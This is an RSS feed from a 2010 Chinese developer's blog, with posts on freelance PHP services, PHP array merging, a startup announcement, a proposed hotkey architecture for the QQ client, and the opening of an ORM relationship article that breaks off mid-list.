<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>一客盒饭</title>
	<atom:link href="http://jiy.hu/feed" rel="self" type="application/rss+xml" />
	<link>http://jiy.hu</link>
	<description>胡吉阳(Hackfan)的个人博客</description>
	<lastBuildDate>Tue, 03 Aug 2010 03:48:23 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>PHP兼职(外包、接活儿)</title>
		<link>http://jiy.hu/php%e5%85%bc%e8%81%8c%e5%a4%96%e5%8c%85%e3%80%81%e6%8e%a5%e6%b4%bb%e5%84%bf</link>
		<comments>http://jiy.hu/php%e5%85%bc%e8%81%8c%e5%a4%96%e5%8c%85%e3%80%81%e6%8e%a5%e6%b4%bb%e5%84%bf#comments</comments>
		<pubDate>Tue, 03 Aug 2010 03:48:23 +0000</pubDate>
		<dc:creator>Hackfan</dc:creator>
				<category><![CDATA[生活]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[兼职]]></category>
		<category><![CDATA[外包]]></category>
		<category><![CDATA[接活儿]]></category>

		<guid isPermaLink="false">http://jiy.hu/?p=256</guid>
		<description><![CDATA[本人为原康盛ECShop开发组成员
有着近10年的B/S开发经验
现在在网上从事PHP兼职工作
2001年发表的B/S文章：
http://blog.csdn.net/hackfan/archive/2001/10/07/7354.aspx
2005年开发的QQ Client PHP Class
http://www.chinaunix.net/jh/27/597209.html
项目经验：
2000年 基于ClientPull以及ServerPUSH的不刷新聊天室实现Perl CGI
2002年 基于iframe的不刷新信息传递技巧（类似于目前流行的Ajax）
2005年 QQ Client PHP Class
2006年 基于Gnuplot的实验室数据绘图 PHP MySQL
2007年 任职于Comsenz 从事ECShop开发工作
2007年 校内网（现在的人人网）刷人气系统
2008年 做过几个校内模板站、校内网人气之星排行榜
2009年 开发南京航空航天大学英语约课系统
2009年 研究文本分词、文本分类技术
2010年 模仿了quibids站，推出12miao.com
等等&#8230;
从事：
1、LAMP架构设计、配置、优化
2、PHP+MySQL+JS架构、开发、维护、修改
3、网站错误排查、漏洞检测、入侵检测
4、短信、支付等接口开发
5、网站SEO，包括架构、页面等方面的优化
6、网站项目开发监理
7、新技术研发
欢迎联系
QQ 823727
电话 15850088002
博客 http://jiy.hu

© Hackfan for 一客盒饭, 2010. &#124;
PHP兼职(外包、接活儿) &#124;
仅1条评论

标签: PHP, 兼职, 外包, 接活儿
]]></description>
			<content:encoded><![CDATA[<p>本人为原康盛ECShop开发组成员<br />
有着近10年的B/S开发经验</p>
<p>现在在网上从事PHP兼职工作</p>
<p>2001年发表的B/S文章：</p>
<p>http://blog.csdn.net/hackfan/archive/2001/10/07/7354.aspx</p>
<p>2005年开发的QQ Client PHP Class</p>
<p>http://www.chinaunix.net/jh/27/597209.html</p>
<p>项目经验：</p>
<p>2000年 基于ClientPull以及ServerPUSH的不刷新聊天室实现Perl CGI<br />
2002年 基于iframe的不刷新信息传递技巧（类似于目前流行的Ajax）<br />
2005年 QQ Client PHP Class<br />
2006年 基于Gnuplot的实验室数据绘图 PHP MySQL<br />
2007年 任职于Comsenz 从事ECShop开发工作<br />
2007年 校内网（现在的人人网）刷人气系统<br />
2008年 做过几个校内模板站、校内网人气之星排行榜<br />
2009年 开发南京航空航天大学英语约课系统<br />
2009年 研究文本分词、文本分类技术<br />
2010年 模仿了quibids站，推出12miao.com</p>
<p>等等&#8230;</p>
<p>从事：<br />
1、LAMP架构设计、配置、优化<br />
2、PHP+MySQL+JS架构、开发、维护、修改<br />
3、网站错误排查、漏洞检测、入侵检测<br />
4、短信、支付等接口开发<br />
5、网站SEO，包括架构、页面等方面的优化<br />
6、网站项目开发监理<br />
7、新技术研发</p>
<p>欢迎联系</p>
<p>QQ 823727<br />
电话 15850088002<br />
博客 http://jiy.hu</p>
<hr />
<p><small>© Hackfan for <a href="http://jiy.hu">一客盒饭</a>, 2010. |
<a href="http://jiy.hu/php%e5%85%bc%e8%81%8c%e5%a4%96%e5%8c%85%e3%80%81%e6%8e%a5%e6%b4%bb%e5%84%bf">PHP兼职(外包、接活儿)</a> |
<a href="http://jiy.hu/php%e5%85%bc%e8%81%8c%e5%a4%96%e5%8c%85%e3%80%81%e6%8e%a5%e6%b4%bb%e5%84%bf#comments">仅1条评论</a>
<br/>
标签: <a href="http://jiy.hu/tag/php" rel="tag">PHP</a>, <a href="http://jiy.hu/tag/%e5%85%bc%e8%81%8c" rel="tag">兼职</a>, <a href="http://jiy.hu/tag/%e5%a4%96%e5%8c%85" rel="tag">外包</a>, <a href="http://jiy.hu/tag/%e6%8e%a5%e6%b4%bb%e5%84%bf" rel="tag">接活儿</a><br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://jiy.hu/php%e5%85%bc%e8%81%8c%e5%a4%96%e5%8c%85%e3%80%81%e6%8e%a5%e6%b4%bb%e5%84%bf/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>PHP合并数组：array_merge还是+?</title>
		<link>http://jiy.hu/php%e5%90%88%e5%b9%b6%e6%95%b0%e7%bb%84%ef%bc%9aarray_merge%e8%bf%98%e6%98%af</link>
		<comments>http://jiy.hu/php%e5%90%88%e5%b9%b6%e6%95%b0%e7%bb%84%ef%bc%9aarray_merge%e8%bf%98%e6%98%af#comments</comments>
		<pubDate>Thu, 20 May 2010 17:08:42 +0000</pubDate>
		<dc:creator>Hackfan</dc:creator>
				<category><![CDATA[Web技术]]></category>
		<category><![CDATA[PHP 数组 array_merge]]></category>

		<guid isPermaLink="false">http://jiy.hu/?p=252</guid>
		<description><![CDATA[PHP手册关于array_merge的解释：
http://php.net/manual/en/function.array-merge.php
Merges the elements of one or more arrays together so that the values of one are appended to the end of the previous one. It returns the resulting array.
If the input arrays have the same string keys, then the later value for that key will overwrite the previous one. If, however, the arrays contain numeric [...]]]></description>
			<content:encoded><![CDATA[<p>PHP手册关于array_merge的解释：</p>
<p><a href="http://php.net/manual/en/function.array-merge.php">http://php.net/manual/en/function.array-merge.php</a></p>
<blockquote><p>Merges the elements of one or more arrays together so that the values of one are appended to the end of the previous one. It returns the resulting array.</p>
<p>If the input arrays have the same string keys, then the later value for that key will overwrite the previous one. If, however, the arrays contain numeric keys, the later value will <em>not</em> overwrite the original value, but will be appended.<br />
If all of the arrays contain only numeric keys, the resulting array is given incrementing keys starting from zero.</p></blockquote>
<p>意思是说，array_merge可以将多个数组的值合并。</p>
<p>那么下标(key)的处理是怎么搞的呢？</p>
<p>如果下标是字符串，那么参数中后面的数组对应下标的值会覆盖之前的值，也就是说，</p>
<p>array_merge(array(&#8216;php&#8217; =&gt; 4), array(&#8216;php&#8217; =&gt; 5))</p>
<p>返回是array(&#8216;php&#8217; =&gt; 5)</p>
<p>如果下标是数字呢，那么该值将存储到一个从0开始计数的数字下标中</p>
<p>也就是说，array_merge会忽略所有的数字下标，给他们赋以重新计数的下标</p>
<p>那么如何在合并数组时保留数字下标呢？解决的方案在手册array_merge下面的评论中：</p>
<blockquote><p>In some situations, the union operator ( + ) might be more useful to you than array_merge.  The array_merge function does not preserve numeric key values.  If you need to preserve the numeric keys, then using + will do that.</p></blockquote>
<p>用+号来代替array_merge对数组进行合并，可以保留数组的数字下标</p>
<p>手册中关于+号在数组运算中的解释：</p>
<blockquote><p>The <em>+</em> operator appends elements of remaining keys from the right handed array to the left handed, whereas duplicated keys are NOT overwritten.</p></blockquote>
<p>+运算符追加右侧剩下的(即左侧数组中没有的键)键与其值至左手，但是重复的键值不会被覆盖。<br />
总结</p>
<p>数组合并时，要根据需要，选择array_merge或者+号，并注意其覆盖规则！</p>
<hr />
<p><small>© Hackfan for <a href="http://jiy.hu">一客盒饭</a>, 2010. |
<a href="http://jiy.hu/php%e5%90%88%e5%b9%b6%e6%95%b0%e7%bb%84%ef%bc%9aarray_merge%e8%bf%98%e6%98%af">PHP合并数组：array_merge还是+?</a> |
<a href="http://jiy.hu/php%e5%90%88%e5%b9%b6%e6%95%b0%e7%bb%84%ef%bc%9aarray_merge%e8%bf%98%e6%98%af#comments">无评论</a>
<br/>
标签: <a href="http://jiy.hu/tag/php-%e6%95%b0%e7%bb%84-array_merge" rel="tag">PHP 数组 array_merge</a><br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://jiy.hu/php%e5%90%88%e5%b9%b6%e6%95%b0%e7%bb%84%ef%bc%9aarray_merge%e8%bf%98%e6%98%af/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>开始全新的创业生活</title>
		<link>http://jiy.hu/%e5%88%9b%e4%b8%9a%e7%94%9f%e6%b4%bb</link>
		<comments>http://jiy.hu/%e5%88%9b%e4%b8%9a%e7%94%9f%e6%b4%bb#comments</comments>
		<pubDate>Wed, 31 Mar 2010 10:07:28 +0000</pubDate>
		<dc:creator>Hackfan</dc:creator>
				<category><![CDATA[事业]]></category>
		<category><![CDATA[创业]]></category>

		<guid isPermaLink="false">http://jiy.hu/?p=244</guid>
		<description><![CDATA[　　站在办公室的阳台上，放眼望去，高教区夜晚美景尽收眼底，我的全新的创业生活也即将开始。


　　我们的公司位于高教区某小区三室二厅公寓内。团队队员的生活、工作就在这里完成，楼下是大学城，有配套的学生食堂、购物广场，不远处还有图书馆、体育馆、电影院，配套设施十分齐全，也十分现代化。
　　目前团队队员还在持续招募中，有创业热情的朋友，可以来苏州与我们共创美好未来！
　　年龄不限，性别不限，只要你有想法、有闯劲、有能力、能吃苦，并且我们有着共同的创业理念，那我们就有机会走到一起！市场、销售、技术、产品人才全线需要。公司为团队队员提供食宿以及培训。
　　幸苦一阵子，幸福一辈子！

© Hackfan for 一客盒饭, 2010. &#124;
开始全新的创业生活 &#124;
9 条评论

标签: 创业
]]></description>
			<content:encoded><![CDATA[<p>　　站在办公室的阳台上，放眼望去，高教区夜晚美景尽收眼底，我的全新的创业生活也即将开始。</p>
<p><a href="http://jiy.hu/wp-content/uploads/2010/03/DSC_0029.jpg">
<a href='http://jiy.hu/%e5%88%9b%e4%b8%9a%e7%94%9f%e6%b4%bb/dsc_0029' title='DSC_0029'><img width="150" height="150" src="http://jiy.hu/wp-content/uploads/2010/03/DSC_0029-150x150.jpg" class="attachment-thumbnail" alt="" title="DSC_0029" /></a>
<a href='http://jiy.hu/%e5%88%9b%e4%b8%9a%e7%94%9f%e6%b4%bb/dsc_0030' title='DSC_0030'><img width="150" height="150" src="http://jiy.hu/wp-content/uploads/2010/03/DSC_0030-150x150.jpg" class="attachment-thumbnail" alt="" title="DSC_0030" /></a>
<a href='http://jiy.hu/%e5%88%9b%e4%b8%9a%e7%94%9f%e6%b4%bb/dsc_0028' title='DSC_0028'><img width="150" height="150" src="http://jiy.hu/wp-content/uploads/2010/03/DSC_0028-150x150.jpg" class="attachment-thumbnail" alt="" title="DSC_0028" /></a>
</p>
<p></a></p>
<p>　　我们的公司位于高教区某小区三室二厅公寓内。团队队员的生活、工作就在这里完成，楼下是大学城，有配套的学生食堂、购物广场，不远处还有图书馆、体育馆、电影院，配套设施十分齐全，也十分现代化。</p>
<p>　　目前团队队员还在持续招募中，有创业热情的朋友，可以来苏州与我们共创美好未来！</p>
<p>　　年龄不限，性别不限，只要你有想法、有闯劲、有能力、能吃苦，并且我们有着共同的创业理念，那我们就有机会走到一起！市场、销售、技术、产品人才全线需要。公司为团队队员提供食宿以及培训。</p>
<p>　　幸苦一阵子，幸福一辈子！</p>
<hr />
<p><small>© Hackfan for <a href="http://jiy.hu">一客盒饭</a>, 2010. |
<a href="http://jiy.hu/%e5%88%9b%e4%b8%9a%e7%94%9f%e6%b4%bb">开始全新的创业生活</a> |
<a href="http://jiy.hu/%e5%88%9b%e4%b8%9a%e7%94%9f%e6%b4%bb#comments">9 条评论</a>
<br/>
标签: <a href="http://jiy.hu/tag/%e5%88%9b%e4%b8%9a" rel="tag">创业</a><br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://jiy.hu/%e5%88%9b%e4%b8%9a%e7%94%9f%e6%b4%bb/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>产品设计：QQ快捷键功能的设想与架构</title>
		<link>http://jiy.hu/qq%e5%bf%ab%e6%8d%b7%e9%94%ae%e5%8a%9f%e8%83%bd%e7%9a%84%e8%ae%be%e6%83%b3%e4%b8%8e%e6%9e%b6%e6%9e%84</link>
		<comments>http://jiy.hu/qq%e5%bf%ab%e6%8d%b7%e9%94%ae%e5%8a%9f%e8%83%bd%e7%9a%84%e8%ae%be%e6%83%b3%e4%b8%8e%e6%9e%b6%e6%9e%84#comments</comments>
		<pubDate>Sat, 06 Mar 2010 05:43:58 +0000</pubDate>
		<dc:creator>Hackfan</dc:creator>
				<category><![CDATA[想法]]></category>
		<category><![CDATA[QQ]]></category>
		<category><![CDATA[产品设计]]></category>
		<category><![CDATA[快捷键]]></category>
		<category><![CDATA[架构]]></category>
		<category><![CDATA[热键]]></category>
		<category><![CDATA[胡吉阳]]></category>
		<category><![CDATA[设想]]></category>

		<guid isPermaLink="false">http://jiy.hu/?p=216</guid>
		<description><![CDATA[　　QQ是中国即时通讯领域的大哥，产品设计符合中国国情，开发团队也十分优秀。每次QQ新版本的发布，或多或少的给我带来惊喜。
　　但Windows下QQ的快捷键功能，一直没有重大改革。昨天趁着QQ同时在线突破1亿人，安装了QQ 2010 Beta版本。让我失望的是，快捷键功能仍然沿用了之前的设计。因此，我不得不写文章，说说自己对QQ快捷键功能的设想与架构。
QQ快捷键功能的使用现状
　　玩网游，特别是中小型网游的人，经常说一个词儿，叫“双开”（或“多开”）。所谓的双开（或“多开”），是指在一台电脑上，同时开上两个（或者多个）客户端，进行游戏。
　　不少QQ用户，也有着“双开”的情节。同时开着两个或者多个QQ，将不同的好友放置到不同的QQ里，成为很多QQ老鸟的习惯。
　　老鸟也熟悉QQ的快捷键规则：CTRL+ALT+Z是显示消息，CTRL+ALT+A是屏幕截图……
　　但所有双开QQ的用户都遇到了一个麻烦，就是快捷键冲突。不少用户也有解决的方法，对于显示消息，将QQ1的快捷键设置为CTRL+ALT+Z，将QQ2的快捷键设置为CTRL+ALT+X……
QQ快捷键功能所出现问题
　　快捷键冲突的问题似乎可以通过修改快捷键设置来解决，但是随着同时开启QQ数量的增多，这样的解决方式，已经不能满足用户的需求了。
问题１、快捷键多操作不便
　　对于“将QQ1设置为CTRL+ALT+Z，QQ2设置为CTRL+ALT+X”的解决方法，在QQ数量达到或者超过3个的时候，就显得很不方便。一来，需要记住每个QQ所对应的快捷键，二来，击打快捷键的难度也提高了不少。
问题2、屏幕截图到底谁管？
　　QQ的屏幕截图功能十分方便，屏幕截图的快捷键也是我最常用的。CTRL+ALT+A，轻松截图。但当多开QQ时，击下CTRL+ALT+A快捷键，实际上是交给第一个打开的QQ处理的。当这个QQ被关闭时，即使其他QQ还在线，也无法用快捷键来激活屏幕截图功能了。
　　同样的问题也存在于消息盒子。
QQ快捷键功能的改进设想
当前的设计思想？
　　有人说，设置不同的快捷键，可以区分来自不同QQ的消息。我认为，通过QQ的皮肤设置，也可以达到同样的效果。
　　还有人说，设置不同的快捷键，可以设置来自不同QQ的消息的显示优先级（可以只查看QQ1而不查看QQ2、QQ3的消息）。我认为，这样的想法固然好，但是并不能掩盖目前设计上的缺陷，不能满足目前一部分多开用户的需求。
我的设计想法
　　不管打开多少个QQ，都使用一组快捷键设置，来进行操作。如CTRL+ALT+Z可以同时阅读QQ1、QQ2、QQ3的消息；只要有QQ开着，CTRL+ALT+A就能用来截图。
QQ快捷键功能的架构设计
　　之前多开QQ出错的原因在于，每个QQ都试图向操作系统注册快捷键。因此会出现快捷键冲突。QQ可以做一个“快捷键注册者”（Tencent Hotkey Registry，简称THR），专门负责处理QQ客户端的快捷键注册与使用。
运行流程
流程1、运行QQ
　　用户运行QQ-&#62;QQ调用THR-&#62;QQ向THR发送快捷键设置-&#62;THR处理快捷键请求，如果快捷键未在操作系统注册，则以THR的名义，向操作系统申请快捷键-&#62;THR向QQ返回结果
流程2、消息处理
　　某QQ来消息-&#62;如果该消息所属窗口不存在，需要快捷键调用-&#62;QQ向THR插入消息通知-&#62;THR将该通知与对应的快捷键记录到消息盒子
流程3、用户点击图标阅读消息
　　用户点击某消息提示的QQ图标-&#62;QQ向THR通知移除消息通知-&#62;QQ显示该消息
流程4、用户击打快捷键
　　用户击打快捷键(CTRL+ALT+Z)-&#62;操作系统通知THR-&#62;THR根据快捷键，按顺序找出最新（或最旧）的消息-&#62;THR通知该消息的QQ-&#62;QQ显示该消息
　　用户击打快捷键(CTRL+ALT+A)-&#62;操作系统通知THR-&#62;THR调用屏幕截图功能-&#62;存入操作系统剪切板-&#62;THR通知所有QQ-&#62;QQ决定是否将图片插入输入框
细节、特性讨论
1、THR是干嘛的？
　　THR(Tencent Hotkey Registry)是QQ的快捷键处理中心，当多个QQ需要跟操作系统打交道的时候，这个角色就很重要了。用户的击键交给THR来统一协调处理，这样就可以让多个QQ使用相同的快捷键了。
2、当前版本的QQ的快捷键设计需要大改动吗？
　　不需要大改动，仅仅需要将“向操作系统注册快捷键”改为“向THR注册快捷键”。用户的快捷键设置，仍然以原格式存储在本地或者服务器上。用户之前养成的习惯得以保留。
　　同时，QQ不再监听和处理用户直接的快捷键击键。为THR留一个接口，方便THR向QQ发送显示消息的通知。
3、用户可以通过设置不同快捷键，来区分不同QQ吗？
　　当然可以，快捷键设置还是跟着不同的QQ走。QQ将自己的快捷键向THR登记而已。
　　THR解决了多个QQ相同快捷键的问题，而多个QQ不同快捷键，THR能轻松应付。
4、屏幕截图功能怎么办？
　　我猜测，用户开一个QQ，都要运行一套屏幕截图代码，如果开3、4个QQ，那就等于开了好几个屏幕截图软件，浪费了内存。不如将屏幕截图功能也独立出来，通过消息机制来调用。无论是快捷键还是截图按钮，都调用同一个截图软件，截图后，由QQ自行决定该内容是否插入输入框。
结束语
　　以上是胡吉阳(Hackfan)作为一名产品使用者及开发者，向Tencent QQ提出的建议。文章著作权归胡吉阳所有。

© Hackfan for 一客盒饭, 2010. &#124;
产品设计：QQ快捷键功能的设想与架构 &#124;
2 条评论

标签: QQ, 产品设计, 快捷键, 架构, 热键, 胡吉阳, 设想
]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-223" title="logo_qq" src="http://jiy.hu/wp-content/uploads/2010/03/logo_qq.gif" alt="" width="154" height="60" />　　QQ是中国即时通讯领域的大哥，产品设计符合中国国情，开发团队也十分优秀。每次QQ新版本的发布，或多或少的给我带来惊喜。</p>
<p>　　但Windows下QQ的快捷键功能，一直没有重大改革。昨天趁着QQ同时在线突破1亿人，安装了QQ 2010 Beta版本。让我失望的是，快捷键功能仍然沿用了之前的设计。因此，我不得不写文章，说说自己对QQ快捷键功能的设想与架构。</p>
<h2>QQ快捷键功能的使用现状</h2>
<p>　　玩网游，特别是中小型网游的人，经常说一个词儿，叫“双开”（或“多开”）。所谓的双开（或“多开”），是指在一台电脑上，同时开上两个（或者多个）客户端，进行游戏。</p>
<p>　　不少QQ用户，也有着“双开”的情节。同时开着两个或者多个QQ，将不同的好友放置到不同的QQ里，成为很多QQ老鸟的习惯。</p>
<p>　　老鸟也熟悉QQ的快捷键规则：CTRL+ALT+Z是显示消息，CTRL+ALT+A是屏幕截图……</p>
<p>　　但所有双开QQ的用户都遇到了一个麻烦，就是快捷键冲突。不少用户也有解决的方法，对于显示消息，将QQ1的快捷键设置为CTRL+ALT+Z，将QQ2的快捷键设置为CTRL+ALT+X……</p>
<h2>QQ快捷键功能所出现问题</h2>
<p>　　快捷键冲突的问题似乎可以通过修改快捷键设置来解决，但是随着同时开启QQ数量的增多，这样的解决方式，已经不能满足用户的需求了。</p>
<h3>问题１、快捷键多操作不便</h3>
<p>　　对于“将QQ1设置为CTRL+ALT+Z，QQ2设置为CTRL+ALT+X”的解决方法，在QQ数量达到或者超过3个的时候，就显得很不方便。一来，需要记住每个QQ所对应的快捷键，二来，击打快捷键的难度也提高了不少。</p>
<h3>问题2、屏幕截图到底谁管？</h3>
<p>　　QQ的屏幕截图功能十分方便，屏幕截图的快捷键也是我最常用的。CTRL+ALT+A，轻松截图。但当多开QQ时，击下CTRL+ALT+A快捷键，实际上是交给第一个打开的QQ处理的。当这个QQ被关闭时，即使其他QQ还在线，也无法用快捷键来激活屏幕截图功能了。</p>
<p>　　同样的问题也存在于消息盒子。</p>
<h2>QQ快捷键功能的改进设想</h2>
<h3>当前的设计思想？</h3>
<p>　　有人说，设置不同的快捷键，可以区分来自不同QQ的消息。我认为，通过QQ的皮肤设置，也可以达到同样的效果。</p>
<p>　　还有人说，设置不同的快捷键，可以设置来自不同QQ的消息的显示优先级（可以只查看QQ1而不查看QQ2、QQ3的消息）。我认为，这样的想法固然好，但是并不能掩盖目前设计上的缺陷，不能满足目前一部分多开用户的需求。</p>
<h3>我的设计想法</h3>
<p>　　不管打开多少个QQ，都使用一组快捷键设置，来进行操作。如CTRL+ALT+Z可以同时阅读QQ1、QQ2、QQ3的消息；只要有QQ开着，CTRL+ALT+A就能用来截图。</p>
<h2>QQ快捷键功能的架构设计</h2>
<p>　　之前多开QQ出错的原因在于，每个QQ都试图向操作系统注册快捷键。因此会出现快捷键冲突。QQ可以做一个“快捷键注册者”（Tencent Hotkey Registry，简称THR），专门负责处理QQ客户端的快捷键注册与使用。</p>
<h3>运行流程</h3>
<h4>流程1、运行QQ</h4>
<p>　　用户运行QQ-&gt;QQ调用THR-&gt;QQ向THR发送快捷键设置-&gt;THR处理快捷键请求，如果快捷键未在操作系统注册，则以THR的名义，向操作系统申请快捷键-&gt;THR向QQ返回结果</p>
<h4>流程2、消息处理</h4>
<p>　　某QQ来消息-&gt;如果该消息所属窗口不存在，需要快捷键调用-&gt;QQ向THR插入消息通知-&gt;THR将该通知与对应的快捷键记录到消息盒子</p>
<h4>流程3、用户点击图标阅读消息</h4>
<p>　　用户点击某消息提示的QQ图标-&gt;QQ向THR通知移除消息通知-&gt;QQ显示该消息</p>
<h4>流程4、用户击打快捷键</h4>
<p>　　用户击打快捷键(CTRL+ALT+Z)-&gt;操作系统通知THR-&gt;THR根据快捷键，按顺序找出最新（或最旧）的消息-&gt;THR通知该消息的QQ-&gt;QQ显示该消息</p>
<p>　　用户击打快捷键(CTRL+ALT+A)-&gt;操作系统通知THR-&gt;THR调用屏幕截图功能-&gt;存入操作系统剪切板-&gt;THR通知所有QQ-&gt;QQ决定是否将图片插入输入框</p>
<h3>细节、特性讨论</h3>
<h4>1、THR是干嘛的？</h4>
<p>　　THR(Tencent Hotkey Registry)是QQ的快捷键处理中心，当多个QQ需要跟操作系统打交道的时候，这个角色就很重要了。用户的击键交给THR来统一协调处理，这样就可以让多个QQ使用相同的快捷键了。</p>
<h4>2、当前版本的QQ的快捷键设计需要大改动吗？</h4>
<p>　　不需要大改动，仅仅需要将“向操作系统注册快捷键”改为“向THR注册快捷键”。用户的快捷键设置，仍然以原格式存储在本地或者服务器上。用户之前养成的习惯得以保留。</p>
<p>　　同时，QQ不再监听和处理用户直接的快捷键击键。为THR留一个接口，方便THR向QQ发送显示消息的通知。</p>
<h4>3、用户可以通过设置不同快捷键，来区分不同QQ吗？</h4>
<p>　　当然可以，快捷键设置还是跟着不同的QQ走。QQ将自己的快捷键向THR登记而已。</p>
<p>　　THR解决了多个QQ相同快捷键的问题，而多个QQ不同快捷键，THR能轻松应付。</p>
<h4>4、屏幕截图功能怎么办？</h4>
<p>　　我猜测，用户开一个QQ，都要运行一套屏幕截图代码，如果开3、4个QQ，那就等于开了好几个屏幕截图软件，浪费了内存。不如将屏幕截图功能也独立出来，通过消息机制来调用。无论是快捷键还是截图按钮，都调用同一个截图软件，截图后，由QQ自行决定该内容是否插入输入框。</p>
<h2>结束语</h2>
<p>　　以上是胡吉阳(Hackfan)作为一名产品使用者及开发者，向Tencent QQ提出的建议。文章著作权归胡吉阳所有。</p>
<hr />
<p><small>© Hackfan for <a href="http://jiy.hu">一客盒饭</a>, 2010. |
<a href="http://jiy.hu/qq%e5%bf%ab%e6%8d%b7%e9%94%ae%e5%8a%9f%e8%83%bd%e7%9a%84%e8%ae%be%e6%83%b3%e4%b8%8e%e6%9e%b6%e6%9e%84">产品设计：QQ快捷键功能的设想与架构</a> |
<a href="http://jiy.hu/qq%e5%bf%ab%e6%8d%b7%e9%94%ae%e5%8a%9f%e8%83%bd%e7%9a%84%e8%ae%be%e6%83%b3%e4%b8%8e%e6%9e%b6%e6%9e%84#comments">2 条评论</a>
<br/>
标签: <a href="http://jiy.hu/tag/qq" rel="tag">QQ</a>, <a href="http://jiy.hu/tag/%e4%ba%a7%e5%93%81%e8%ae%be%e8%ae%a1" rel="tag">产品设计</a>, <a href="http://jiy.hu/tag/%e5%bf%ab%e6%8d%b7%e9%94%ae" rel="tag">快捷键</a>, <a href="http://jiy.hu/tag/%e6%9e%b6%e6%9e%84" rel="tag">架构</a>, <a href="http://jiy.hu/tag/%e7%83%ad%e9%94%ae" rel="tag">热键</a>, <a href="http://jiy.hu/tag/%e8%83%a1%e5%90%89%e9%98%b3" rel="tag">胡吉阳</a>, <a href="http://jiy.hu/tag/%e8%ae%be%e6%83%b3" rel="tag">设想</a><br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://jiy.hu/qq%e5%bf%ab%e6%8d%b7%e9%94%ae%e5%8a%9f%e8%83%bd%e7%9a%84%e8%ae%be%e6%83%b3%e4%b8%8e%e6%9e%b6%e6%9e%84/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>ORM中，belongs to与has one的区别</title>
		<link>http://jiy.hu/belongs-to%e4%b8%8ehas-one%e7%9a%84%e5%8c%ba%e5%88%ab</link>
		<comments>http://jiy.hu/belongs-to%e4%b8%8ehas-one%e7%9a%84%e5%8c%ba%e5%88%ab#comments</comments>
		<pubDate>Wed, 17 Feb 2010 20:57:33 +0000</pubDate>
		<dc:creator>Hackfan</dc:creator>
				<category><![CDATA[技术]]></category>
		<category><![CDATA[belongs to]]></category>
		<category><![CDATA[has one]]></category>
		<category><![CDATA[ORM]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[一对一关系]]></category>
		<category><![CDATA[从属关系]]></category>

		<guid isPermaLink="false">http://jiy.hu/?p=199</guid>
		<description><![CDATA[随着PHP开发框架的普及，越来越多的开发者开始使用ORM进行数据库的操作。
在使用ORM时，数据表间关系的设置往往被很多开发者忽略。
数据表间关系，主要有四种：

一对一关系(has one)
一对多关系(has many)
多对多关系(many to many)
从属关系(belongs to)

本文主要讨论一对一关系与从属关系的区别。
一对一关系(has one)
用于主表的定义中，指主表(primary table)每行记录，在从表(foreign table)中只有一行记录对应。
从属关系(belongs to)
用于从表的定义中，指从表(foreign table)中的每行记录，在主表(primary table)中都有一行记录对应。
一对一关系(has one)与从属关系(belongs to)的注意点
从定义上来看，一对一关系与从属关系貌似是一对互反的关系。但请注意以下事实：

一对一关系是一对多关系的特殊情况
一对多关系与从属关系是互反关系
一张表可以设置多个一对多关系
一张表可以设置多个从属关系

一对一关系(has one)与从属关系(belongs to)的差别
让我们用一个实例来了解这些关系。以下几张数据表组成了一个简单的博客系统：

用户表(users)
用户资料表(user_profiles)
博文表(blogs)
博文分类表(categories)

让我们来建立关系吧

users

has one

user_profiles


has many

blogs




user_profiles

belongs to

users




blogs

belongs to

categories
users




categories

has many

blogs





现在，通过强大的ORM系统，我们可以对这几张表进行方便的操作：当读取users表时，相应记录在user_profiles的记录将被读出；当读取blogs表时，不但有其分类的信息，还有作者的信息。
既然has one与belongs to在读取时都能将关联表的信息提出，并且都是提出一条信息（不像has many需要用数组来存储关联记录），那两者到底有何区别呢？
Hackfan认为，两者的区别主要在于逻辑与删除操作的处理上。
逻辑差别
has one表示拥有，belongs to表示属于。因此，A has one B（或B belongs to A），A是根本，B是果实；A是皮，B是毛。有了A，才可能有B；有B，那一定会有A。两者虽然在读取操作时，有一致的逻辑，但是在删除操作上，逻辑就有所区别。
删除操作处理差别
假设A has one B（或B belongs to A），在删除A中记录时，应当删除B中相应的记录；在删除B中记录时，不需要删除A中相应记录。
比如users与user_profiles，当某个用户的帐户被删除时，帐户资料理所应当也应该被删除；而帐户资料被删除时，帐户未必需要被删除。
再比如blogs表。当一篇博文被删除时，其所属的分类、所属的用户，未必需要被删除。但当某个用户被删除，或者是某个分类被删除时，这篇博文往往需要被删除。
从以上两个案例，可以看出has one与belongs to的差别。目前许多ORM在进行关系表记录删除时，并未按照以上逻辑进行操作，也是希望将操作空间最大的留给开发者。
总结
慎用has one与belongs to关系定义，虽说在实际开发时区别不大，甚至可以达到一致的效果，但是两者在逻辑上的区别是十分大的。混淆使用两者将被视为对表关系概念的不理解。在复杂的数据表系统中，混淆使用两者，将会给其他开发者造成理解上的困惑。
同时，当更为自动化的ORM系统出现时，has one与belongs to的错用可能将在数据删除时，产生严重的错误。
因此，请慎用has one与belongs to关系定义。

© Hackfan for 一客盒饭, 2010. &#124;
ORM中，belongs to与has one的区别 &#124;
无评论

标签: belongs [...]]]></description>
			<content:encoded><![CDATA[<p>随着PHP开发框架的普及，越来越多的开发者开始使用ORM进行数据库的操作。</p>
<p>在使用ORM时，数据表间关系的设置往往被很多开发者忽略。</p>
<p>数据表间关系，主要有四种：</p>
<ul>
